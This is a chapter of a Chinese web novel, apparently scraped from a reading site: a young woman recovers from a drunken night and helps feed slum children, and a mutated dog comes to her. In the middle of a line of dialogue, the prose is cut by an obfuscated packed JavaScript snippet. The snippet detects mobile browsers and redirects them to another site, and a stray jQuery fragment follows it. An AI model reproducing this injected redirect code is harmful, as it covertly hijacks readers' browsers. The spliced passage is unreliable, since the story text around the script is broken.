一根猫条 作品

21. 异变狗盯上她?下一秒竟撒娇了!^……

第二天喻清月醒来的时候,天刚麻麻亮,她头疼得像是有人在她脑子里打鼓,喉咙干得不行,整个人都恹恹的,甚至连手指都懒得动一下。


她眨了眨眼,试图回忆昨晚的事。


……但大脑一片空白。


“昨晚……”她嘟囔了一句,嗓子干哑得不像话。


“你终于醒了。”


一个带着点冷淡的声音从旁边传来,喻清月转头一看,黄夕辞正靠在床边的椅子上,双臂交叉,姿态懒散,但那双眼睛却若有所思地盯着她。


“你昨晚……梦到什么了吗?”


“啊?”喻清月愣了愣。


她还没想明白,一旁的房门又被推开,郑赤帆顶着一头乱糟糟的头发走进来,打了个哈欠:“果然不该信你的话,说什么‘朋友的责任’,结果我们两个被迫打地铺!”


紧接着,黄琳曼揉着太阳穴走进来,神色疲惫:“我还得去所里配药呢,腰快断了……”


喻清月:“?”


她眨眨眼,眼神从黄夕辞身上移到郑赤帆,再到黄琳曼,语气不安:“等等……你们三个怎么都在?”


“你自己猜?”郑赤帆露出一脸无奈的笑容。


喻清月瞬间感觉头疼加剧。


她深吸一口气,抬手揉了揉太阳穴,小心翼翼地问:“so……我昨晚……干嘛了?”


三个人对视了一眼,郑赤帆开口:“你昨晚一直对着镜子说话。”


喻清月:“???”


黄夕辞补充:“还说要跟它‘再赌一次’。”


喻清月:“?????”


她抓住黄夕辞的袖子,一脸震惊:“等等,我昨晚是不是梦游了?!”


黄夕辞慢条斯理地看着她,语气玩味:“你猜?”


喻清月:“……”


【这什么反应?不告诉我就算了,怎么还吊人胃口?】


她艰难地咽了口唾沫,尝试套话:“那……我昨晚表现得怎么样?”


黄琳曼:“……”


郑赤帆:“……”


黄夕辞挑眉:“你确定要听?”


喻清月警觉地看着他们,总觉得这帮人不怀好意。


郑赤帆憋笑:“我们发现了,你就是个赌狗。”


喻清月心一沉,严肃起来:“我是不是干了什么很恐怖的事?”


黄琳曼表情复杂:“……恐怖倒是不至于,但你差点让我们三个提前英年早逝。”


郑赤帆:“简单来说,你半夜站在镜子前,嘴里念叨着‘我一定能赢’。我们当时都吓醒了,以为你被什么东西附身了。”


喻清月:“……然后呢?”


黄夕辞:“然后你突然抓住我衣领说:‘再摇一轮?我让你一把!’”


喻清月:“……”


郑赤帆:“我们三个本来都以为你在跟镜子里的自己打赌,结果你下一秒突然转身,看着我们仨,伸手指着我,说:‘你,跟我来一场男人的对决!’”


喻清月:“……”


“我明明是无辜的。”郑赤帆捂脸。


她突然有点想再睡过去,把今天重启。


“然后郑赤帆还没来得及拒绝,你就拿起桌上的水杯,二话不说把自己灌倒了。”黄琳曼努力憋笑。


“倒下去的时候,你还嘟囔着‘不行了,今天状态不佳,明天再战’。”


喻清月:“……”


她的脸慢慢烧了起来。


黄夕辞补充:“最后我好不容易把你弄回床上,你还抓着我的手不放,一脸严肃语重心长地跟我说——”


喻清月立刻捂住耳朵:“别说了!!!”


黄夕辞勾唇:“——‘黄夕辞,我虽然是输了,但你要相信我,天选之子终究会归来。’”


郑赤帆和黄琳曼当场笑到癫狂,直接笑趴在喻清月床上。


喻清月突然想再醉一回,把自己彻底醉死算了。


她一脸生无可恋地埋进枕头里,声音闷闷的:“你们什么时候可以忘掉这件事?”


黄琳曼笑着拍拍她的肩:“放心,等我们再笑个十年八年就差不多了。”


郑赤帆竖起三根手指:“我保证,绝对不会外传,除了我们三个,只有全世界知道。”


喻清月:“……”


【完蛋玩意儿,我是再也不会相信这帮老狗了。】


喻清月缓了缓,吃过早饭后,黄夕辞突然开口:“我去研究院借车,你们收拾一下。”


喻清月愣了一下:“借车?”


黄夕辞点头:“去贫民窟。”


——研究院门口。


“你要车干嘛?实验材料运输不是后天才安排?”


研究院的负责人皱着眉,看着黄夕辞递来的申请单。


黄夕辞语气淡淡:“不是实验材料,今天我要用车。”


负责人盯着他看了几秒,眉头皱得更紧:“上次你们在贫民窟的事儿院里都知道了,你今天不会是打算去那吧?”


“批不批?”黄夕辞没打算解释,把申请单往前推了推。


负责人叹了口气,最后还是无奈地签了字:“你最好别闹出什么事,不然车子我借你的,我还背责任。”


贫民窟路上,一辆载货汽车在破旧的街道上缓缓行驶,喻清月坐在副驾驶座上,手里拿着地图,认真地给黄夕辞指路。


车厢里,郑赤帆坐在一群孩子中间,被挤得毫无尊严,一个五六岁的小女孩拉着他的袖子,小声问:“郑叔叔,我们是要去哪里呀?”


郑赤帆笑着摸了摸她的头:“去吃好吃的。”


喻清月转过头,弯着眼睛对小女孩说:“我们去给大家发饭吃。”


小女孩眼睛亮了亮,期待地望着她。


前面是连续弯路,但黄夕辞却开得很平稳。


“黄哥哥,你会开车耶!”后排一个小男孩惊呼。


“不然你们打算靠脚跑过去?”黄夕辞瞥了一眼后视镜。


“等等,凭什么我是‘叔叔’,他就是‘哥哥’??”郑赤帆一边扶着车厢,一边不满地抗议。


小男孩歪着头,理所当然地回答:“因为黄哥哥看起来可靠,你看起来……像是会和我们一起抢糖吃的坏蜀黍。”


郑赤帆:“……”


喻清月忍笑,拍了拍他的肩膀:“别难过,至少


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311350|166876||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


你还有糖。”


——


车子在一片空地上停下,黄夕辞和郑赤帆打开后车厢,把几个大锅搬了下来,热腾腾的粥香气弥漫在空气里。


喻清月拿起勺子,开始给孩子们盛粥。一个胆怯的小女孩接过碗,怯生生地看着她,小声说:“谢谢姐姐。”


喻清月愣了一下,随即笑着摸了摸她的头:“不用谢,慢慢吃。”


贫民窟的人一开始有些迟疑,直到一个年长的妇人接过粥,小声道谢,才渐渐有人排起队来。


郑赤帆在一旁和孩子们玩石子游戏,结果被一个五岁的小孩赢了,气得直喊不公平。


“你作弊!”


小男孩一脸无辜:“我没有呀。”


喻清月扶额:“你跟小孩子计较什么?”


黄夕辞站在简陋的铁皮棚旁,袖子挽到手肘,露出一截干净利落的小臂。他手里拿着勺子,动作流畅地从大锅里舀起热气腾腾的青菜肉末粥,倒进人们递来的破旧瓷碗里。


白色的热气腾起,在清早微寒的空气里弥散开来,孩子们围在锅边,脸上挂着兴奋又期待的笑,偶尔踮起脚尖,生怕自己被挤到后面去。


有个年纪小的孩子手一抖,碗差点歪倒,黄夕辞眼疾手快地扶住,顺势揉了揉他的脑袋:“慢点,小心烫。”


“谢谢哥哥。”孩子抬头看着他,嘴角沾着一点米粒,腼腆地笑了笑。


郑赤帆蹲在一旁,一边吹着热乎乎的粥,一边吐槽:“唉,论受欢迎程度,我居然输给了他。”


异变狗犹豫地站在远处,耳朵微微耷拉下来,尾巴不自觉地轻轻摆动了一下。


它的世界里,从未出现过这样的场景——温暖的灯光,欢快的笑声,还有人们脸上溢出的喜悦。


它又嗅了嗅,空气里没有恐惧,没有痛苦,没有那些让它焦躁不安的情绪。取而代之的,是满足、安心,还有……归属感。


它曾见过太多的绝望,太多的人在贫民窟里挣扎求生,太多的夜晚,它只能蜷缩在角落里,看着饥饿的人们从它身边走过,看着这片土地沉沦在无尽的黑暗中。


可现在,一切好像不一样了。


黄夕辞盛着粥,耐心地给每一个孩子递过去,郑赤帆被几个调皮的孩子缠住,而喻清月——她正笑着拍了拍一个小女孩的头,轻声说:“多喝点,别饿着了。”


异变狗的瞳孔轻轻颤动了一下。


它低头看了看自己的爪子,那些盘踞在毛发间的异变纹路已经消失了,爪垫重新变得柔软,指甲不再尖锐可怖,毛发也恢复了它原本的色泽。


它慢慢地向前走了几步,鼻尖轻轻贴近地面,嗅着喻清月的气息,确认这不是错觉。


然后,它轻轻地摇了摇尾巴。


喻清月似有所觉,回过头,正好对上了它的眼睛。


四目相对的瞬间,她怔了一下。


下一秒,异变狗迈开步子,径直朝她跑了过去——


它的步伐轻盈,耳朵竖起,尾巴高高扬起,扑进了那个曾经让它觉得可遇不可求的怀抱。


这一刻,它不再是流浪在黑暗中的怪物,而是……重新找回了自我。